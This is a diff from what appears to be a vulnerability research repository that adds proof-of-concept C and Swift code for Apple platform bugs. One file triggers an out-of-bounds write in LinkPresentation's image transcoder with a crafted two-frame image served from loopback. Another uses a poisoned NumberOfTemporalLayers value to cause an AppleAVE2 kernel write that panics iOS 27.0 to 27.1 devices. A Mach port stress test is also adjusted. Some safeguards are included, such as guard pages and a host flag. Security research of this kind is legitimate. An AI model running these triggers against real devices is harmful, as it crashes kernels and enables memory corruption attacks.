Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6f4ed67c38 | ||
|
|
c30aadf9bb | ||
|
|
ed682e859b |
No files matched your search
@@ -17,7 +17,7 @@
|
||||
|
||||
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
|
||||
typedef struct {
|
||||
long operations, allocations, notifications, sends, deallocations;
|
||||
long operations, allocations, notifications, sends, deallocations, armed;
|
||||
int budget_exhausted;
|
||||
long notifications_refused;
|
||||
long budget;
|
||||
@@ -50,10 +50,10 @@ static void record(kern_return_t kr) {
|
||||
//
|
||||
// Resource discipline: mod_refs with a negative delta against a zero send-ref count
|
||||
// does not return an error on this platform — it SIGKILLs the process. Check first.
|
||||
typedef struct { long alloc, notify, send, dealloc; } ring_result;
|
||||
typedef struct { long alloc, notify, send, dealloc, armed; } ring_result;
|
||||
|
||||
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
|
||||
ring_result r = {0, 0, 0, 0};
|
||||
ring_result r = {0, 0, 0, 0, 0};
|
||||
mach_port_name_t ports[512];
|
||||
int nports = 0;
|
||||
if (depth > 512) depth = 512;
|
||||
@@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
|
||||
kern_return_t kr1 = mach_port_request_notification(
|
||||
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
|
||||
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
|
||||
if (kr1 != KERN_SUCCESS) {
|
||||
if (kr1 == KERN_SUCCESS) {
|
||||
r.armed++;
|
||||
} else {
|
||||
record(kr1);
|
||||
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++;
|
||||
(*refused)++;
|
||||
}
|
||||
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
|
||||
r.notify++;
|
||||
@@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
|
||||
kern_return_t kr2 = mach_port_request_notification(
|
||||
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
|
||||
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
|
||||
if (kr2 != KERN_SUCCESS) {
|
||||
if (kr2 == KERN_SUCCESS) {
|
||||
r.armed++;
|
||||
} else {
|
||||
record(kr2);
|
||||
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++;
|
||||
(*refused)++;
|
||||
}
|
||||
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
|
||||
r.notify++;
|
||||
@@ -159,7 +163,7 @@ static int g_depth = 48;
|
||||
|
||||
static void *worker(void *arg) {
|
||||
(void)arg;
|
||||
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0;
|
||||
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0;
|
||||
|
||||
while (!past_deadline()) {
|
||||
pthread_mutex_lock(&S.lock);
|
||||
@@ -184,6 +188,7 @@ static void *worker(void *arg) {
|
||||
local_notify += res.notify;
|
||||
local_send += res.send;
|
||||
local_dealloc += res.dealloc;
|
||||
local_armed += res.armed;
|
||||
local_ops += 4;
|
||||
|
||||
pthread_mutex_lock(&S.lock);
|
||||
@@ -197,6 +202,7 @@ static void *worker(void *arg) {
|
||||
S.notifications += local_notify;
|
||||
S.sends += local_send;
|
||||
S.deallocations += local_dealloc;
|
||||
S.armed += local_armed;
|
||||
pthread_mutex_unlock(&S.lock);
|
||||
return NULL;
|
||||
}
|
||||
@@ -246,8 +252,8 @@ int main(int argc, char **argv) {
|
||||
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
|
||||
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
|
||||
|
||||
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n",
|
||||
S.operations, S.allocations, S.notifications, S.sends, S.deallocations);
|
||||
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n",
|
||||
S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed);
|
||||
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
|
||||
if (S.notifications_refused > 0) {
|
||||
printf("notifications refused %ld times — this platform does not allow notification\n"
|
||||
@@ -260,7 +266,14 @@ int main(int argc, char **argv) {
|
||||
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
|
||||
}
|
||||
}
|
||||
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n");
|
||||
if (S.armed == 0 && S.notifications > 0) {
|
||||
printf("notification registration never succeeded (-300, MIG type error).\n");
|
||||
printf("the request-table path was never armed: this run is not a 112507 test.\n");
|
||||
printf("CVE-2026-112507 · NOT REACHED from this process\n");
|
||||
} else {
|
||||
printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, "
|
||||
"no request-table fault surfaced\n", S.armed);
|
||||
}
|
||||
pthread_mutex_destroy(&S.lock);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621
|
||||
// C twin of the Swift POC: build the two-frame container, then reproduce the exact
|
||||
// draw that goes out of bounds.
|
||||
//
|
||||
// The transcoder sizes its pixel pool from frame 0 (256x16, 1024-byte row stride,
|
||||
// 16384 bytes of pixel data) and then draws the current frame with the frame's own
|
||||
// height. Frame 1 is 256x48, so CGContextClearRect clears 48 rows into a 16-row
|
||||
// buffer.
|
||||
//
|
||||
// This file places the 16-row buffer directly against a PROT_NONE page, catches the
|
||||
// first faulting store, and reports the distance past the pool. It never corrupts
|
||||
// live memory and never touches the kernel.
|
||||
//
|
||||
// Build: clang -O2 -o cve-2026-112621 CVE-2026-112621.c \
|
||||
// -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
||||
// Run: ./cve-2026-112621 [out.tiff]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <setjmp.h>
|
||||
#include <sys/mman.h>
|
||||
#include <ImageIO/ImageIO.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static sigjmp_buf jump;
|
||||
static volatile sig_atomic_t faulted;
|
||||
static volatile uintptr_t fault_addr;
|
||||
|
||||
static void on_fault(int sig, siginfo_t *info, void *ctx) {
|
||||
(void)sig; (void)ctx;
|
||||
faulted = 1;
|
||||
fault_addr = (uintptr_t)info->si_addr;
|
||||
siglongjmp(jump, 1);
|
||||
}
|
||||
|
||||
static CGImageRef solid(int w, int h, CGFloat r, CGFloat g, CGFloat b) {
|
||||
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
|
||||
CGContextRef ctx = CGBitmapContextCreate(NULL, w, h, 8, w * 4, cs,
|
||||
kCGImageAlphaPremultipliedLast);
|
||||
CGContextSetRGBFillColor(ctx, r, g, b, 1.0);
|
||||
CGContextFillRect(ctx, CGRectMake(0, 0, w, h));
|
||||
CGImageRef img = CGBitmapContextCreateImage(ctx);
|
||||
CGContextRelease(ctx);
|
||||
CGColorSpaceRelease(cs);
|
||||
return img;
|
||||
}
|
||||
|
||||
static CFMutableDataRef build_tiff(void) {
|
||||
CFMutableDataRef data = CFDataCreateMutable(NULL, 0);
|
||||
CGImageDestinationRef dest = CGImageDestinationCreateWithData(data, CFSTR("public.tiff"), 2, NULL);
|
||||
if (!dest) { CFRelease(data); return NULL; }
|
||||
CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10);
|
||||
CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90);
|
||||
CGImageDestinationAddImage(dest, f0, NULL);
|
||||
CGImageDestinationAddImage(dest, f1, NULL);
|
||||
int ok = CGImageDestinationFinalize(dest);
|
||||
CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest);
|
||||
if (!ok) { CFRelease(data); return NULL; }
|
||||
return data;
|
||||
}
|
||||
|
||||
static void probe(CFDataRef data) {
|
||||
CGImageSourceRef src = CGImageSourceCreateWithData(data, NULL);
|
||||
if (!src) { printf("ImageIO refused the container\n"); return; }
|
||||
size_t count = CGImageSourceGetCount(src);
|
||||
printf("count=%zu bytes=%ld\n", count, (long)CFDataGetLength(data));
|
||||
for (size_t i = 0; i < count && i < 2; i++) {
|
||||
CGImageRef img = CGImageSourceCreateImageAtIndex(src, i, NULL);
|
||||
if (img) {
|
||||
printf("frame[%zu] %zux%zu\n", i, CGImageGetWidth(img), CGImageGetHeight(img));
|
||||
CGImageRelease(img);
|
||||
}
|
||||
}
|
||||
CFRelease(src);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
CFMutableDataRef tiff = build_tiff();
|
||||
if (!tiff) { printf("could not build the two-frame container\n"); return 1; }
|
||||
probe(tiff);
|
||||
if (argc > 1) {
|
||||
CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *)argv[1],
|
||||
strlen(argv[1]), false);
|
||||
CGImageDestinationRef dest = CGImageDestinationCreateWithURL(url, CFSTR("public.tiff"), 2, NULL);
|
||||
if (dest) {
|
||||
CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10);
|
||||
CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90);
|
||||
CGImageDestinationAddImage(dest, f0, NULL);
|
||||
CGImageDestinationAddImage(dest, f1, NULL);
|
||||
CGImageDestinationFinalize(dest);
|
||||
CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest);
|
||||
printf("seed written: %s\n", argv[1]);
|
||||
}
|
||||
CFRelease(url);
|
||||
}
|
||||
|
||||
// Reproduce the transcoder's buffer sizing: pool from frame 0, draw from frame 1.
|
||||
size_t page = (size_t)sysconf(_SC_PAGESIZE);
|
||||
size_t stride = 1024; // 256 px * 4 bytes, frame 0 row
|
||||
size_t pool = 16 * stride; // frame 0 pixel data: 16384 bytes
|
||||
size_t pool_pages = (pool + page - 1) / page;
|
||||
size_t total = (pool_pages + 1) * page;
|
||||
|
||||
unsigned char *base = mmap(NULL, total, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANON, -1, 0);
|
||||
if (base == MAP_FAILED) { perror("mmap"); return 1; }
|
||||
unsigned char *guard = base + pool_pages * page;
|
||||
if (mprotect(guard, page, PROT_NONE) != 0) { perror("mprotect"); return 1; }
|
||||
|
||||
struct sigaction sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sa_sigaction = on_fault;
|
||||
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
sigaction(SIGBUS, &sa, NULL);
|
||||
sigaction(SIGSEGV, &sa, NULL);
|
||||
|
||||
// The buffer the pool handed out, with exactly pool bytes before the guard.
|
||||
unsigned char *buf = guard - pool;
|
||||
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
|
||||
CGContextRef ctx = CGBitmapContextCreate(buf, 256, 48, 8, stride, cs,
|
||||
kCGImageAlphaPremultipliedLast);
|
||||
printf("CGBitmapContextCreate(256x48 over a %zu-byte pool) = %p\n", pool, (void *)ctx);
|
||||
if (!ctx) {
|
||||
printf("context rejected — width/stride mismatch would stop the trigger here\n");
|
||||
munmap(base, total);
|
||||
CFRelease(tiff);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("CGContextClearRect: 48 rows = %zu bytes, pool = %zu bytes\n", 48 * stride, pool);
|
||||
if (sigsetjmp(jump, 1) == 0) {
|
||||
CGContextClearRect(ctx, CGRectMake(0, 0, 256, 48));
|
||||
printf("no fault — the write stayed inside the mapping\n");
|
||||
} else {
|
||||
printf("fault at guard + %lu bytes\n", (unsigned long)(fault_addr - (uintptr_t)guard));
|
||||
printf("oracle: the clear walked %zu bytes past the 16-row pool before the guard page stopped it\n",
|
||||
48 * stride - pool);
|
||||
}
|
||||
|
||||
CGContextRelease(ctx);
|
||||
CGColorSpaceRelease(cs);
|
||||
munmap(base, total);
|
||||
CFRelease(tiff);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621
|
||||
// Out-of-bounds write when a later frame is taller than the first.
|
||||
//
|
||||
// -[LPAnimatedImageTranscoder _transcodeWithCompletionHandler:] reads the pixel size
|
||||
// of image 0 and configures the video writer with it. encodeNextFrame then takes the
|
||||
// draw height from the current decoded frame while the destination is the pooled
|
||||
// buffer sized for frame 0. CGContextClearRect writes the taller frame's rows past
|
||||
// the pool.
|
||||
//
|
||||
// Delivery is the public path: LPMetadataProvider fetches a page, reads og:image, and
|
||||
// feeds the multi-frame file to the transcoder. This file serves that page from
|
||||
// loopback, so no network is involved.
|
||||
//
|
||||
// 256x16 then 256x48 keeps the width equal (the pool's row stride must accept the
|
||||
// width) and only grows the height.
|
||||
//
|
||||
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112621 CVE-2026-112621.swift \
|
||||
// -framework ImageIO -framework CoreGraphics -framework LinkPresentation \
|
||||
// -framework Network -framework UniformTypeIdentifiers
|
||||
// Run: ./cve-2026-112621
|
||||
|
||||
import Foundation
|
||||
import ImageIO
|
||||
import CoreGraphics
|
||||
import LinkPresentation
|
||||
import Network
|
||||
import UniformTypeIdentifiers
|
||||
|
||||
let firstSize = (256, 16)
|
||||
let laterSize = (256, 48)
|
||||
|
||||
func solid(_ w: Int, _ h: Int, _ r: CGFloat, _ g: CGFloat, _ b: CGFloat) -> CGImage {
|
||||
let cs = CGColorSpaceCreateDeviceRGB()
|
||||
let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8,
|
||||
bytesPerRow: w * 4, space: cs,
|
||||
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue)!
|
||||
ctx.setFillColor(red: r, green: g, blue: b, alpha: 1)
|
||||
ctx.fill(CGRect(x: 0, y: 0, width: w, height: h))
|
||||
return ctx.makeImage()!
|
||||
}
|
||||
|
||||
// Two independently sized frames in one container. HEIC is the format from the
|
||||
// advisory; TIFF is the fallback that ImageIO still decodes as independent pages.
|
||||
func multiFrame(_ type: UTType) -> Data? {
|
||||
let data = NSMutableData()
|
||||
guard let dest = CGImageDestinationCreateWithData(data, type.identifier as CFString, 2, nil) else {
|
||||
return nil
|
||||
}
|
||||
CGImageDestinationAddImage(dest, solid(firstSize.0, firstSize.1, 0.90, 0.10, 0.10), nil)
|
||||
CGImageDestinationAddImage(dest, solid(laterSize.0, laterSize.1, 0.10, 0.20, 0.90), nil)
|
||||
guard CGImageDestinationFinalize(dest) else { return nil }
|
||||
return data as Data
|
||||
}
|
||||
|
||||
func probe(_ data: Data, _ label: String) {
|
||||
guard let src = CGImageSourceCreateWithData(data as CFData, nil) else {
|
||||
print("\(label): ImageIO refused the container"); return
|
||||
}
|
||||
let count = CGImageSourceGetCount(src)
|
||||
print("\(label): count=\(count) bytes=\(data.count)")
|
||||
for i in 0..<min(2, count) {
|
||||
if let img = CGImageSourceCreateImageAtIndex(src, i, nil) {
|
||||
print(" frame[\(i)] \(img.width)x\(img.height)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── loopback server: one HTML page with og:image, one image endpoint ──
|
||||
final class LocalServer {
|
||||
private let listener: NWListener
|
||||
private let image: Data
|
||||
private let mime: String
|
||||
private(set) var queued = 0
|
||||
|
||||
init(image: Data, mime: String) throws {
|
||||
self.image = image
|
||||
self.mime = mime
|
||||
let params = NWParameters.tcp
|
||||
params.allowLocalEndpointReuse = true
|
||||
listener = try NWListener(using: params, on: .any)
|
||||
}
|
||||
|
||||
func start() throws -> UInt16 {
|
||||
let ready = DispatchSemaphore(value: 0)
|
||||
listener.stateUpdateHandler = { state in
|
||||
if case .ready = state { ready.signal() }
|
||||
}
|
||||
listener.newConnectionHandler = { [weak self] conn in self?.serve(conn) }
|
||||
listener.start(queue: .global())
|
||||
_ = ready.wait(timeout: .now() + 5)
|
||||
return listener.port?.rawValue ?? 0
|
||||
}
|
||||
|
||||
private func serve(_ conn: NWConnection) {
|
||||
conn.start(queue: .global())
|
||||
conn.receive(minimumIncompleteLength: 1, maximumLength: 8192) { [weak self] data, _, _, _ in
|
||||
guard let self, let data, let head = String(data: data, encoding: .utf8) else {
|
||||
conn.cancel(); return
|
||||
}
|
||||
let path = head.split(separator: " ").dropFirst().first.map(String.init) ?? "/"
|
||||
self.queued += 1
|
||||
if path.hasPrefix("/pic") {
|
||||
self.respond(conn, body: self.image, type: self.mime)
|
||||
} else {
|
||||
let page = """
|
||||
<!doctype html><html><head><meta charset="utf-8">
|
||||
<meta property="og:title" content="CVE-2026-112621">
|
||||
<meta property="og:image" content="http://127.0.0.1:\(self.listener.port?.rawValue ?? 0)/pic">
|
||||
</head><body>cve-2026-112621</body></html>
|
||||
"""
|
||||
self.respond(conn, body: Data(page.utf8), type: "text/html")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private func respond(_ conn: NWConnection, body: Data, type: String) {
|
||||
var out = Data("HTTP/1.1 200 OK\r\nContent-Type: \(type)\r\nContent-Length: \(body.count)\r\nConnection: close\r\n\r\n".utf8)
|
||||
out.append(body)
|
||||
conn.send(content: out, completion: .contentProcessed { _ in conn.cancel() })
|
||||
}
|
||||
|
||||
func stop() { listener.cancel() }
|
||||
}
|
||||
|
||||
// HEIC first; if the platform cannot encode it, a TIFF served as image/gif still
|
||||
// passes -[LPImage _isAnimated] (MIME allowlist) and ImageIO decodes it by content.
|
||||
var image = multiFrame(.heic)
|
||||
var mime = "image/heic"
|
||||
if image == nil {
|
||||
image = multiFrame(.tiff)
|
||||
mime = "image/gif"
|
||||
}
|
||||
guard let payload = image else {
|
||||
print("could not build a multi-frame container"); exit(1)
|
||||
}
|
||||
probe(payload, "seed (\(mime))")
|
||||
|
||||
let server = try LocalServer(image: payload, mime: mime)
|
||||
let port = try server.start()
|
||||
guard port != 0, let url = URL(string: "http://127.0.0.1:\(port)/") else {
|
||||
print("server did not bind"); exit(1)
|
||||
}
|
||||
print("serving \(url) — ct=\(mime)")
|
||||
|
||||
var done = false
|
||||
var title: String?
|
||||
var error: String?
|
||||
|
||||
DispatchQueue.global().async {
|
||||
let provider = LPMetadataProvider()
|
||||
provider.timeout = 20
|
||||
provider.startFetchingMetadata(for: url) { meta, err in
|
||||
title = meta?.title
|
||||
error = err?.localizedDescription
|
||||
done = true
|
||||
}
|
||||
}
|
||||
|
||||
let deadline = Date().addingTimeInterval(40)
|
||||
while !done && Date() < deadline {
|
||||
RunLoop.main.run(until: Date().addingTimeInterval(0.1))
|
||||
}
|
||||
|
||||
if !done {
|
||||
print("metadata fetch timed out")
|
||||
} else if let error {
|
||||
print("metadata error: \(error)")
|
||||
} else {
|
||||
print("metadata title: \(title ?? "(none)")")
|
||||
print("survived — the transcoder did not take the taller frame (fixed build)")
|
||||
}
|
||||
print("image requests: \(server.queued)")
|
||||
server.stop()
|
||||
@@ -2,6 +2,10 @@
|
||||
// ANE userspace entry point probe
|
||||
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
|
||||
// client/program/model/request entry points the CVE lives behind.
|
||||
//
|
||||
// Honest negative: the ANE kernel interface is not reachable from a third-party
|
||||
// process, so this is a reachability map, not a primitive. No R/W is attempted.
|
||||
// See docs/KERNEL-RW-ASSESSMENT.md.
|
||||
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
|
||||
// Run: ./cve-2026-112696
|
||||
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
// ave.ntl · AppleAVE2 · VideoToolbox HEVC · CVE-2026-112705
|
||||
// C twin of the Swift POC. Full trigger: HEVC session, private usage/rate-control
|
||||
// selectors, poisoned NumberOfTemporalLayers, one IOSurface frame submit.
|
||||
//
|
||||
// Setting 16463 and encoding once makes AppleAVE2 write past a fixed-size table.
|
||||
// On iOS 27.0-27.1 the kernel data-aborts on the first frame; 16462 survives.
|
||||
// iOS 27.2 refuses the property with -12900.
|
||||
// macOS runs the same driver: the encode is gated behind --force-host because it can
|
||||
// panic the host kernel.
|
||||
//
|
||||
// Primitive limit: the write is a constant fill at a fixed offset. There is no
|
||||
// address control and no value control, so this is a DoS primitive, not an
|
||||
// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
|
||||
//
|
||||
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
|
||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
|
||||
// Run: ./cve-2026-112705 [layers] [--force-host]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <TargetConditionals.h>
|
||||
#include <VideoToolbox/VideoToolbox.h>
|
||||
#include <CoreMedia/CoreMedia.h>
|
||||
#include <CoreVideo/CoreVideo.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static int32_t set_prop(VTCompressionSessionRef s, const char *key, CFTypeRef value) {
|
||||
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
|
||||
int32_t st = VTSessionSetProperty(s, k, value);
|
||||
CFRelease(k);
|
||||
return st;
|
||||
}
|
||||
|
||||
static void print_readback(VTCompressionSessionRef s, const char *key) {
|
||||
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
|
||||
CFTypeRef out = NULL;
|
||||
int32_t st = VTSessionCopyProperty(s, k, kCFAllocatorDefault, &out);
|
||||
if (st == 0 && out) {
|
||||
CFStringRef d = CFCopyDescription(out);
|
||||
char buf[256] = {0};
|
||||
if (d) {
|
||||
CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
|
||||
CFRelease(d);
|
||||
}
|
||||
printf("%s\n", buf);
|
||||
CFRelease(out);
|
||||
} else {
|
||||
printf("copyErr=%d\n", st);
|
||||
}
|
||||
CFRelease(k);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int layers = 16463;
|
||||
int force_host = 0;
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
|
||||
else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
|
||||
}
|
||||
|
||||
VTCompressionSessionRef session = NULL;
|
||||
OSStatus create = VTCompressionSessionCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCMVideoCodecType_HEVC, NULL, NULL,
|
||||
NULL, NULL, NULL, &session);
|
||||
printf("VTCompressionSessionCreate(hvc1) status=%d\n", (int)create);
|
||||
if (create != 0 || !session) return 1;
|
||||
|
||||
int one = 1, twenty = 20;
|
||||
CFNumberRef n1 = CFNumberCreate(NULL, kCFNumberIntType, &one);
|
||||
CFNumberRef n20 = CFNumberCreate(NULL, kCFNumberIntType, &twenty);
|
||||
int32_t su = set_prop(session, "EncoderUsage", n1);
|
||||
int32_t sr = set_prop(session, "RCMode", n20);
|
||||
CFRelease(n1);
|
||||
CFRelease(n20);
|
||||
set_prop(session, "RealTime", kCFBooleanFalse);
|
||||
printf("EncoderUsage=%d RCMode=%d\n", su, sr);
|
||||
|
||||
CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
|
||||
int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
|
||||
CFRelease(n);
|
||||
printf("NumberOfTemporalLayers=%d status=%d\n", layers, sn);
|
||||
printf("readback: ");
|
||||
print_readback(session, "NumberOfTemporalLayers");
|
||||
|
||||
if (sn != 0) {
|
||||
printf("property refused — fixed build (27.2+) or no AVE2 property here\n");
|
||||
VTCompressionSessionInvalidate(session);
|
||||
CFRelease(session);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if TARGET_OS_OSX
|
||||
if (!force_host) {
|
||||
printf("host guard: property accepted but no frame submitted.\n");
|
||||
printf("a frame submit here can panic the macOS kernel through AppleAVE2.\n");
|
||||
printf("re-run with --force-host on a disposable machine to fire it.\n");
|
||||
VTCompressionSessionInvalidate(session);
|
||||
CFRelease(session);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
CFDictionaryRef empty = CFDictionaryCreate(NULL, NULL, NULL, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks);
|
||||
CFDictionaryRef attrs = CFDictionaryCreate(NULL,
|
||||
(const void **)&kCVPixelBufferIOSurfacePropertiesKey, (const void **)&empty, 1,
|
||||
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CVPixelBufferRef pb = NULL;
|
||||
CVReturn pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
||||
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
||||
attrs, &pb);
|
||||
printf("CVPixelBufferCreate status=%d\n", pc);
|
||||
CFRelease(attrs);
|
||||
CFRelease(empty);
|
||||
if (pc != 0 || !pb) { VTCompressionSessionInvalidate(session); CFRelease(session); return 1; }
|
||||
|
||||
for (int i = 0; i < 4; i++) {
|
||||
CMTime pts = CMTimeMake(i, 30);
|
||||
VTEncodeInfoFlags flags = 0;
|
||||
OSStatus st = VTCompressionSessionEncodeFrame(session, pb, pts, kCMTimeInvalid,
|
||||
NULL, NULL, &flags);
|
||||
printf("encode[%d] status=%d\n", i, (int)st);
|
||||
if (st != 0) break;
|
||||
}
|
||||
VTCompressionSessionCompleteFrames(session, kCMTimeInvalid);
|
||||
printf("survived — this build does not panic\n");
|
||||
|
||||
CVPixelBufferRelease(pb);
|
||||
VTCompressionSessionInvalidate(session);
|
||||
CFRelease(session);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
// ave.ntl · AppleAVE2 · VideoToolbox HEVC encoder · CVE-2026-112705
|
||||
// Kernel out-of-bounds write through NumberOfTemporalLayers.
|
||||
//
|
||||
// The encoder session accepts a layer count far past the table the driver sized.
|
||||
// Setting 16463 and submitting one frame makes AppleAVE2 write at a fixed offset
|
||||
// past its allocation; the kernel faults and the device panics. 16462 survives.
|
||||
// iOS 27.0-27.1 carry the defect, 27.2 refuses the property with -12900.
|
||||
// macOS carries the same driver: encode with a poisoned layer count can panic the
|
||||
// host kernel, so this file refuses to submit a frame unless --force-host is given.
|
||||
//
|
||||
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
|
||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo
|
||||
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463
|
||||
|
||||
import Foundation
|
||||
import VideoToolbox
|
||||
import CoreMedia
|
||||
import CoreVideo
|
||||
|
||||
let args = CommandLine.arguments
|
||||
let forceHost = args.contains("--force-host")
|
||||
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
|
||||
|
||||
func fourCC(_ v: OSStatus) -> String {
|
||||
let n = UInt32(bitPattern: v)
|
||||
let bytes = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)]
|
||||
if bytes.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: bytes, encoding: .ascii)! + "'" }
|
||||
return "\(v)"
|
||||
}
|
||||
|
||||
func set(_ session: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus {
|
||||
VTSessionSetProperty(session, key: key as CFString, value: value)
|
||||
}
|
||||
|
||||
func readBack(_ session: VTCompressionSession, _ key: String) -> String {
|
||||
var out: CFTypeRef?
|
||||
let st = VTSessionCopyProperty(session, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out)
|
||||
guard st == 0, let v = out else { return "copyErr=\(st)" }
|
||||
return "value=\(v)"
|
||||
}
|
||||
|
||||
var session: VTCompressionSession?
|
||||
// HEVC 1280x720 is the smallest surface the AVE2 driver accepts for this path.
|
||||
let create = VTCompressionSessionCreate(allocator: kCFAllocatorDefault,
|
||||
width: 1280, height: 720,
|
||||
codecType: kCMVideoCodecType_HEVC,
|
||||
encoderSpecification: nil,
|
||||
imageBufferAttributes: nil,
|
||||
compressedDataAllocator: nil,
|
||||
outputCallback: nil,
|
||||
refcon: nil,
|
||||
compressionSessionOut: &session)
|
||||
print("VTCompressionSessionCreate(hvc1) status=\(create) \(fourCC(create))")
|
||||
guard create == 0, let s = session else { exit(1) }
|
||||
|
||||
// The recipe: private usage selector 1 with rate-control mode 20 puts the session on
|
||||
// the AVE2 firmware path; real-time off keeps the frame queued.
|
||||
let su = set(s, "EncoderUsage", NSNumber(value: 1))
|
||||
let sr = set(s, "RCMode", NSNumber(value: 20))
|
||||
_ = set(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
|
||||
print("EncoderUsage=\(su) RCMode=\(sr)")
|
||||
|
||||
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
|
||||
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
|
||||
|
||||
if sn != 0 {
|
||||
print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
|
||||
VTCompressionSessionInvalidate(s)
|
||||
exit(0)
|
||||
}
|
||||
|
||||
#if os(macOS)
|
||||
if !forceHost {
|
||||
print("host guard: property accepted but no frame submitted.")
|
||||
print("submitting a frame here can panic the macOS kernel through AppleAVE2.")
|
||||
print("re-run with --force-host on a disposable machine to fire it.")
|
||||
VTCompressionSessionInvalidate(s)
|
||||
exit(0)
|
||||
}
|
